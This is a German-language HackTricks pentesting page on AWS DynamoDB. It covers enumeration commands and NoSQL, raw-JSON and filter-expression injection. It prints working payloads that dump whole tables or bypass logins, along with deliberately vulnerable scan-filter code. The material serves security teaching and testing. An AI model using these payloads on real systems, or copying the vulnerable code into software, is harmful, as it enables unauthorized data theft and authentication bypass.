AWS - DynamoDB Enum
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
DynamoDB
Grundinformationen
Amazon DynamoDB wird von AWS als eine vollständig verwaltete, serverlose, Schlüssel-Wert NoSQL-Datenbank präsentiert, die für die Unterstützung von leistungsstarken Anwendungen unabhängig von ihrer Größe konzipiert ist. Der Dienst bietet robuste Funktionen, einschließlich integrierter Sicherheitsmaßnahmen, unterbrechungsfreier Backups, automatisierter Replikation über mehrere Regionen, integrierter In-Memory-Caching und praktischer Datenexport-Utilities.
Im Kontext von DynamoDB werden anstelle einer traditionellen Datenbank Tabellen erstellt. Jede Tabelle erfordert die Angabe eines Partitionierungsschlüssels als integralen Bestandteil des Primärschlüssels der Tabelle. Dieser Partitionierungsschlüssel, im Wesentlichen ein Hash-Wert, spielt eine entscheidende Rolle sowohl bei der Abfrage von Elementen als auch bei der Verteilung von Daten über verschiedene Hosts. Diese Verteilung ist entscheidend für die Aufrechterhaltung sowohl der Skalierbarkeit als auch der Verfügbarkeit der Datenbank. Darüber hinaus gibt es die Möglichkeit, einen Sortierschlüssel hinzuzufügen, um die Datenorganisation weiter zu verfeinern.
Verschlüsselung
Standardmäßig verwendet DynamoDB einen KMS-Schlüssel, der zu Amazon DynamoDB gehört, nicht einmal den von AWS verwalteten Schlüssel, der zumindest zu Ihrem Konto gehört.
Backups & Export nach S3
Es ist möglich, die Erstellung von Tabellen-Backups zu planen oder sie auf Anfrage zu erstellen. Darüber hinaus ist es auch möglich, Point-in-Time Recovery (PITR) für eine Tabelle zu aktivieren. Die Wiederherstellung zu einem bestimmten Zeitpunkt bietet kontinuierliche Backups Ihrer DynamoDB-Daten für 35 Tage, um Sie vor versehentlichen Schreib- oder Löschvorgängen zu schützen.
Es ist auch möglich, die Daten einer Tabelle nach S3 zu exportieren, aber die Tabelle muss PITR aktiviert haben.
GUI
Es gibt eine GUI für lokale Dynamo-Dienste wie DynamoDB Local, dynalite, localstack usw., die nützlich sein könnte: https://github.com/aaronshaf/dynamodb-admin
Enumeration
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
Unauthenticated Access
AWS - DynamoDB Unauthenticated Access
Privesc
Post Exploitation
AWS - DynamoDB Post Exploitation
Persistence
DynamoDB Injection
SQL Injection
Es gibt Möglichkeiten, auf DynamoDB-Daten mit SQL-Syntax zuzugreifen, daher sind typische SQL-Injektionen ebenfalls möglich.
NoSQL Injection
In DynamoDB können verschiedene Bedingungen verwendet werden, um Daten abzurufen. Wie bei einer gängigen NoSQL-Injektion, wenn es möglich ist, mehrere Bedingungen zu verketten, um Daten abzurufen, könnten Sie versteckte Daten (oder die gesamte Tabelle dumpen).
Hier finden Sie die von DynamoDB unterstützten Bedingungen: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html
Beachten Sie, dass verschiedene Bedingungen unterstützt werden, wenn auf die Daten über query
oder über scan
zugegriffen wird.
note
Tatsächlich müssen Query-Aktionen die Bedingung "EQ" (gleich) im primären Schlüssel angeben, damit sie funktionieren, was sie viel weniger anfällig für NoSQL-Injektionen macht (und auch die Operation sehr eingeschränkt).
Wenn Sie die Vergleichsoperation ändern oder neue hinzufügen können, könnten Sie mehr Daten abrufen.
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
Rohes Json-Injection
caution
Diese Schwachstelle basiert auf dem dynamodb Scan Filter, der jetzt veraltet ist!
DynamoDB akzeptiert Json-Objekte, um Daten in der DB zu suchen. Wenn Sie feststellen, dass Sie im Json-Objekt, das zum Suchen gesendet wird, schreiben können, könnten Sie die DB dumpen, alle Inhalte.
Zum Beispiel, indem Sie in eine Anfrage injizieren wie:
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
Ein Angreifer könnte etwas injizieren wie:
1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0
Beheben Sie die "EQ"-Bedingung, die nach der ID 1000 sucht, und suchen Sie dann nach allen Daten mit einer ID-Zeichenfolge größer als 0, was alles ist.
Ein weiteres anfälliges Beispiel mit einem Login könnte sein:
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
Dies wäre anfällig für:
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
:property Injection
Einige SDKs erlauben die Verwendung eines Strings, der die durchzuführende Filterung angibt, wie:
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
Sie müssen wissen, dass beim Suchen in DynamoDB zum Ersetzen eines Attributs wertes in Filterausdrücken während des Scannens der Elemente die Tokens mit dem :
-Zeichen beginnen sollten. Solche Tokens werden zur Laufzeit mit dem tatsächlichen Attributwert ersetzt.
Daher kann ein Login wie das vorherige mit etwas wie folgendem umgangen werden:
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.